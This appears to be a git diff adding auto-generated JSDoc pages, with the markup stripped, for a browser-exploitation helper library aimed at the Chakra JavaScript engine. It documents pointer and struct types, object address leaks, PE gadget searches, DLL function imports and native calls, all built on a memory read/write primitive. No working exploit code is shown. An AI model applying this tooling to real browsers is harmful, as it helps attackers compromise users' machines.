    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_CString.html b/docs/BaseExploit_CString.html new file mode 100644 index 0000000..a12802f --- /dev/null +++ b/docs/BaseExploit_CString.html @@ -0,0 +1,235 @@ + + + + + CString - Documentation + + + + + + + + + + + + + + + + +
+ +

CString

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + CString +

+ + +
+ +
+
+ + + + + +

new CString(s)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a C string. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
s + + +string + + + + A string to make into a C string.
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Pointer
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_FunctionType.html b/docs/BaseExploit_FunctionType.html new file mode 100644 index 0000000..2c5555e --- /dev/null +++ b/docs/BaseExploit_FunctionType.html @@ -0,0 +1,393 @@ + + + + + FunctionType - Documentation + + + + + + + + + + + + + + + + +
+ +

FunctionType

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + FunctionType +

+ + +
+ +
+
+ + + + + +

new FunctionType(returnType)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a function pointer type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
returnType + + +Type + + + + Type of return value
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + +

Methods

+ + + + + + +

cast(x) → {function}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Create a function pointer with the given address. Can be called like a Javascript function. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
x + + +Integer +| + +Pointer + + + + Memory address
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +function + + +
+
+ + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_IntType.html b/docs/BaseExploit_IntType.html new file mode 100644 index 0000000..0b98e27 --- /dev/null +++ b/docs/BaseExploit_IntType.html @@ -0,0 +1,258 @@ + + + + + IntType - Documentation + + + + + + + + + + + + + + + + +
+ +

IntType

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + IntType +

+ + +
+ +
+
+ + + + + +

new IntType(bits, signed)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs an integer type. Internal. Use predefined Int and Uint type objects. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
bits + + +integer + + + + Bit size
signed + + +boolean + + + + Whether signed or not
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_Pointer.html b/docs/BaseExploit_Pointer.html new file mode 100644 index 0000000..0110571 --- /dev/null +++ b/docs/BaseExploit_Pointer.html @@ -0,0 +1,850 @@ + + + + + Pointer - Documentation + + + + + + + + + + + + + + + + +
+ +

Pointer

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + Pointer +

+ + +
+ +
+
+ + + + + +

new Pointer(base, address)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a certain type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + type
address + + +Integer + + + +
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + +

Methods

+ + + + + + +

add(x) → {Pointer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns a new pointer with result of pointer arithmetic. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
x + + +Integer +| + +number + + + + addend
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Pointer + + +
+
+ + + + + + + + + +

isNull() → {boolean}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns whether address is zero. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + +

load() → {Integer|Pointer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the value stored at the pointer address. Alternatively, array syntax is supported. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer +| + +Pointer + + +
+
+ + + + + + + + + +

store(value)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Stores the value at the pointer address. Alternatively, array syntax is supported. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
value + + +Integer +| + +Pointer + + + +
+ + + + + + + + + + + + + + + + + + + + + +

toString() → {string}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Converts the Pointer to a hexadecimal string. +
+ + + + + + + + + + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +string + + +
+
+ + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_PointerType.html b/docs/BaseExploit_PointerType.html new file mode 100644 index 0000000..2642653 --- /dev/null +++ b/docs/BaseExploit_PointerType.html @@ -0,0 +1,393 @@ + + + + + PointerType - Documentation + + + + + + + + + + + + + + + + +
+ +

PointerType

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + PointerType +

+ + +
+ +
+
+ + + + + +

new PointerType(base)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + Base type
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + +

Methods

+ + + + + + +

cast(x) → {Pointer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Create a pointer to the given address with our base type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
x + + +Integer +| + +Pointer + + + + Memory address
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Pointer + + +
+
+ + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_StructPointer.html b/docs/BaseExploit_StructPointer.html new file mode 100644 index 0000000..d7c8e28 --- /dev/null +++ b/docs/BaseExploit_StructPointer.html @@ -0,0 +1,247 @@ + + + + + StructPointer - Documentation + + + + + + + + + + + + + + + + +
+ +

StructPointer

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + StructPointer +

+ + +
+ +
+
+ + + + + +

new StructPointer(base, address)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a structure type. Internal. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + type
address + + +Integer + + + +
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_StructType.html b/docs/BaseExploit_StructType.html new file mode 100644 index 0000000..e6ea009 --- /dev/null +++ b/docs/BaseExploit_StructType.html @@ -0,0 +1,278 @@ + + + + + StructType - Documentation + + + + + + + + + + + + + + + + +
+ +

StructType

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + StructType +

+ + +
+ +
+
+ + + + + +

new StructType(fields, alignmentopt)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a structure type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
fields + + +Array + + + + + + + + + + Description of structure's fields
alignment + + +integer + + + + + + <optional>
+ + + + + +
Override default alignment
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_Type.html b/docs/BaseExploit_Type.html new file mode 100644 index 0000000..3e9367a --- /dev/null +++ b/docs/BaseExploit_Type.html @@ -0,0 +1,242 @@ + + + + + Type - Documentation + + + + + + + + + + + + + + + + +
+ +

Type

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + Type +

+ + +
+ +
+
+ + + + + +

new Type()

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Type base class. Internal. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + +

Members

+ + + +

Ptr

+ + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a PointerType of this type. +
+ + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/BaseExploit_WString.html b/docs/BaseExploit_WString.html new file mode 100644 index 0000000..69ab436 --- /dev/null +++ b/docs/BaseExploit_WString.html @@ -0,0 +1,235 @@ + + + + + WString - Documentation + + + + + + + + + + + + + + + + +
+ +

WString

+ + + + + + + +
+ +
+ +

+ BaseExploit# + + WString +

+ + +
+ +
+
+ + + + + +

new WString(s)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a UTF-16 string. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
s + + +string + + + + A string to make into a UTF-16 string.
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Pointer
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit.html b/docs/ChakraExploit.html new file mode 100644 index 0000000..2df6abc --- /dev/null +++ b/docs/ChakraExploit.html @@ -0,0 +1,2918 @@ + + + + + ChakraExploit - Documentation + + + + + + + + + + + + + + + + +
+ +

ChakraExploit

+ + + + + + + +
+ +
+ +

+ ChakraExploit +

+ + +
+ +
+
+ + + + + +

new ChakraExploit()

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs an exploit with sensible defaults for Chakra. Child must call initChakra method once read and write methods are available. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + + + + + + + + + +

Classes

+ +
+
ArrayType
+
+ +
CString
+
+ +
FunctionType
+
+ +
IntType
+
+ +
Pointer
+
+ +
PointerType
+
+ +
StructPointer
+
+ +
StructType
+
+ +
Thread
+
+ +
Type
+
+ +
WString
+
+
+ + + + + + + +

Members

+ + + +

Int8 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int8Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Int16 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int16Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Int32 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int32Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Int64 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Int64Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint8 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint8Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint16 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint16Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint32 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint32Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + +

Uint64 :IntType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +IntType + + +
  • +
+ + + + + + + + +

Uint64Ptr :PointerType

+ + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + + + +
Type:
+
    +
  • + +PointerType + + +
  • +
+ + + + + + + + + + +

Methods

+ + + + + + +

addressOf(obj) → {Pointer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the address of a Javascript object. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
obj + + +* + + + + Any Javascript object
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Pointer + + +
+
+ + + + + + + + + +

addressOfSlow(obj) → {Pointer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the address of a Javascript object. Internal. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
obj + + +* + + + + Any Javascript object
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Pointer + + +
+
+ + + + + + + + + +

addressOfString(s) → {Pointer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Returns the address of a string. Points to the string's bytes. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
s + + +string + + + + A Javascript string
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Pointer + + +
+
+ + + + + + + + + +

call(address, …args) → {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Call a function pointer with the given arguments. Used internally by FunctionPointer. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeAttributesDescription
address + + +Integer + + + + + + + + + +
args + + +Integer + + + + + + + + + + <repeatable>
+ +
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

findGadget(module, bytes) → {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Find a set of bytes in a PE module. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
module + + +Integer +| + +Pointer + + + + Base address of PE module
bytes + + +Array + + + + Bytes to locate
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

findGadgets(module, query) → {object}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Find multiple sets of bytes in a PE module. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
module + + +Integer +| + +Pointer + + + + Base address of PE module
query + + +Array + + + + Array of gadgets to find
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +object + + +
+
+ + + + + + + + + +

findModuleBase(address) → {Integer}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Find the beginning of a PE module given any address in the module. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
address + + +Integer + + + + Any address in the PE module
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Integer + + +
+
+ + + + + + + + + +

importFunction(dllName, funcName, returnType) → {function}

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Loads a DLL (if not loaded already) and finds the given export. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
dllName + + +string + + + + The name of DLL to find the function from.
funcName + + +string + + + + The name of function to import.
returnType + + +Type + + + + The type of the function return.
+ + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +function + + +
+
+ + + + + + + + + +

initChakra(vtable)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Initializes Chakra helpers using memory read and write. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
vtable + + +Integer +| + +Pointer + + + + Any address in the chakra DLL
+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_ArrayType.html b/docs/ChakraExploit_ArrayType.html new file mode 100644 index 0000000..95f1b27 --- /dev/null +++ b/docs/ChakraExploit_ArrayType.html @@ -0,0 +1,263 @@ + + + + + ArrayType - Documentation + + + + + + + + + + + + + + + + +
+ +

ArrayType

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + ArrayType +

+ + +
+ +
+
+ + + + + +

new ArrayType(base, length)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs an array type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + Base type
length + + +integer + + + + Number of array elements
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_CString.html b/docs/ChakraExploit_CString.html new file mode 100644 index 0000000..37d06be --- /dev/null +++ b/docs/ChakraExploit_CString.html @@ -0,0 +1,240 @@ + + + + + CString - Documentation + + + + + + + + + + + + + + + + +
+ +

CString

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + CString +

+ + +
+ +
+
+ + + + + +

new CString(s)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a C string. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
s + + +string + + + + A string to make into a C string.
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Pointer
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_FunctionType.html b/docs/ChakraExploit_FunctionType.html new file mode 100644 index 0000000..ea2d679 --- /dev/null +++ b/docs/ChakraExploit_FunctionType.html @@ -0,0 +1,240 @@ + + + + + FunctionType - Documentation + + + + + + + + + + + + + + + + +
+ +

FunctionType

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + FunctionType +

+ + +
+ +
+
+ + + + + +

new FunctionType(returnType)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a function pointer type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
returnType + + +Type + + + + Type of return value
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_IntType.html b/docs/ChakraExploit_IntType.html new file mode 100644 index 0000000..fabe989 --- /dev/null +++ b/docs/ChakraExploit_IntType.html @@ -0,0 +1,263 @@ + + + + + IntType - Documentation + + + + + + + + + + + + + + + + +
+ +

IntType

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + IntType +

+ + +
+ +
+
+ + + + + +

new IntType(bits, signed)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs an integer type. Internal. Use predefined Int and Uint type objects. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
bits + + +integer + + + + Bit size
signed + + +boolean + + + + Whether signed or not
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_Pointer.html b/docs/ChakraExploit_Pointer.html new file mode 100644 index 0000000..ec791cd --- /dev/null +++ b/docs/ChakraExploit_Pointer.html @@ -0,0 +1,252 @@ + + + + + Pointer - Documentation + + + + + + + + + + + + + + + + +
+ +

Pointer

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + Pointer +

+ + +
+ +
+
+ + + + + +

new Pointer(base, address)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer to a certain type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + type
address + + +Integer + + + +
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + \ No newline at end of file diff --git a/docs/ChakraExploit_PointerType.html b/docs/ChakraExploit_PointerType.html new file mode 100644 index 0000000..59a0198 --- /dev/null +++ b/docs/ChakraExploit_PointerType.html @@ -0,0 +1,240 @@ + + + + + PointerType - Documentation + + + + + + + + + + + + + + + + +
+ +

PointerType

+ + + + + + + +
+ +
+ +

+ ChakraExploit# + + PointerType +

+ + +
+ +
+
+ + + + + +

new PointerType(base)

+ + + + + + +
+ + +
Source:
+
+ + + + + + + +
Inherited From:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ Constructs a pointer type. +
+ + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
base + + +Type + + + + Base type
+ + + + + + + + + + + + + + + + + +
+ + +

Extends

+ + + + +
    +
  • Type
  • +
+ + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ +
+ +
